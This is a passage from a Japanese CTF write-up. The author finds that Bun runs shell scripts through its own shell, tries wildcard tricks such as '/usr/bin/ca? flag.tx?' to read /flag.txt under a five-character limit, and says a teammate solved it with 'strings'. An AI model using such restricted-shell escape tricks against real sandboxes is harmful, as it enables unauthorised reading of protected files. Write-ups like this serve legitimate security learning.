ならば何が起こるのだろう。適当に試してみると、次のようにシェルスクリプトを実行できたように見える。おいおいおいおい。
$ cat a.sh echo 123 $ bun a.sh 123
制限付きのシェルスクリプト実行というと、以前HITCON CTF Qualsで出題された問題を思い出すけれども、残念ながらカレントディレクトリにファイルを書き込む権限がないので同じ戦法は使えない。
色々試していると、シェルスクリプトとしては少し変な挙動をしていることに気づく。たとえば、/usr/bin/ca? flag.tx?
のようにクエスチョンマークを入れても、ワイルドカードとしては機能してくれず、"command not found" と怒られてしまう。どういうことかと "bun shell" のようなクエリでググっていると、どうやら独自のシェルっぽいとわかってきた。
面倒だなあと思いつつ、いい感じに *
のワイルドカードを使って、5種類の文字だけを使って /flag.txt
を出力させられないかと色々試していた。
悩んでいると、taskさんが strings
で決めてくれた。なるほどなあ。